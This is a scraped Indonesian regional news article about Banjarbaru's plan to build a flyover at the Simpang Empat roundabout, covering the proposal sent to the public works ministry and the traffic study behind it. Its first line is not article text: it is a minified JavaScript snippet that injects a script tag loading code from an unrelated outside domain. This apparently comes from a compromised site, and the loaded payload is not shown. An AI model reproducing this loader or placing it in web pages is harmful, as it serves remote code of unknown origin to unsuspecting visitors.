(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mematangkan rencana pembuatan jalan layang yang digadang dapat mengurai kemacetan di kawasan Bundaran Simpang Empat Banjarbaru, Provinsi Kalimantan Selatan.
Jalan layang atau flyover ini direncanakan akan dibuat membentang di Bundaran Simpang Empat tepatnya dari arah Martapura menuju arah Kota Banjarbaru – Banjarmasin.
Kepala Bidang (Kabid) Bina Marga Dinas Pekerjaan Umum dan Penataan Ruang (DPUPR), Adi Maulana mengungkapkan, saat ini proposal perencanaan pembangunan flyover telah dibuat dan diserahkan kepada Kementerian Pekerjaan Umum (Kemen PU) melalui Wali Kota Banjarbaru.
Baca juga: Penataan Trotoar Taman Van Der Pijl Dibuat Senada dengan Taman Ramah Anak
Kabid Bina Marga DPUPR Banjarbaru, Adi Maulana. Foto: wanda
“Kemarin terakhir kami diminta oleh Ibu Wali Kota itu bikin proposal. Kami bikin, sudah kami siapkan dan proposalnya dibawa oleh ibu Wali Kota langsung ketemu pak Menteri,” ujar Kabid Bina Marga DPUPR Kota Banjarbaru, Adi Maulana kepada Kanalkalimantan.com.
“Mudah-mudahan, ada tindak lanjutnya setelah proposal itu disampaikan ibu Wali Kota ke pak Menteri,” sambungnya.
Adi menjelaskan, berangkat dari kajian pembangunan flyover pertama kali diinisiasi untuk mengurai titik-titik rawan kemacetan di ibu kota Kalsel Kemudian dari kajian kedua difokuskan pada feasibility study management di Bundaran Simpang Empat.
“Jadi di Bundaran Simpang Empat kami mencari opsi penanganan yang terbaik. Beberapa opsi dicoba seperti pemasangan lampu lalu lintas, kemudian pelebaran jalan, kemudian baru penanganan tidak sebidang,” ungkapnya.
Dari opsi-opsi tersebut katanya dibantu dengan aplikasi simulasi diperoleh bahwa solusi atau alternatif terbaik untuk mengatur Bundaran Simpang Empat ialah penanganan tidak sebidang.
Baca juga: Pelajar Kalsel Raih Pretasi di Olimpiade Sains Nasional 2025 di Jatim
Penanganan tidak sebidang yang dimaksud bisa dengan pembangunan flyover atau juga bisa dengan underpass.
“Namun dari segi pemeliharaan dan perawatan tentu flyover lebih memungkinkan dibandingkan dengan kita membuat underpass, baik melihat dari sisi konstruksi, biaya maupun pemeliharaannya,” tambah Adi.
Hasil kajian kedua, Bundaran Simpang Empat yang memiliki empat lengan, yakni lengan Martapura, lengan Banjarbaru, lengan Sungai Ulin dan lengan Cempaka didapati beban lalu lintas tertinggi berada di lengan Martapura.
“Kemudian dilihat lagi dari tujuan perjalanan itu yang mana masih sebagian besar arus lalu lintas berasal dari Martapura ini tujuan perjalanan sebagian besar menuju ke Banjarbaru atau mau melewati Banjarbaru lah istilahnya,” jelasnya.
Masih dalam kajian, PUPR Banjarbaru mencoba tiga alternatif penanganan tidak sebidang. Yaitu membuat flyover dari Martapura ke Banjarbaru, membuat flyover dari Martapura ke Cempaka, atau membuat flyover dari Sungai Ulin ke Banjarbaru.
Baca juga: Eksplor Diri Lewat Workshop Public Speaking Atnafa Community
Namun, hasil uji coba didapati alternatif terbaik adalah membuat flyover dari Martapura ke Banjarbaru.
“Membuat flyover adalah alternatif dengan biaya yang paling minim dibandingkan yang lain. Dari tiga opsi, kinerja jalannya paling membaik dibandingkan ke semuanya. Walaupun dengan tiga flyover tadi, tiga-tiganya membaik kinerja jalannya, namun yang terbaik dari opsi-opsi tersebut ialah pembangunan flyover dari Martapura ke Banjarbaru,” kata Adi.
Di dalam proposal juga telah dimuat rencana Detail Engineering Design (Ded) yang memuat pra desain dari flyover yang ingin dibuat.
“Harapan kami memang DED-nya ini langsung dari kementerian PU and mtuk membuat DED-nya. Kalau dari kami pra-desainnya masih minimalis melayangkan lintas dari Matapura ke Banjarbaru minimalis. Tapi kalau nanti dari kementerian PU ingin membuat yang lebih mewah ya silahkan saja gitu,” harapnya.
Hasil kajian menyatakan bahwa pembuatan flyover itu sebenarnya diperlukan dan feasibile atau layak, baik secara teknis kinerja jalannya yang membaik, dari sisi ekonomi hingga dari sisi lingkungan. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More
KANALKALIMANTAN.COM, JAKARTA – Di bawah kepemimpinan Bupati Banjar H Saidi Mansyur, Pemerintah Kabupaten Banjar kembali… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Merayakan Hari Ulang Tahun (HUT) ke-46 Komando Resor Militer (Korem) 101/Antasari membagikan… Read More
This website uses cookies.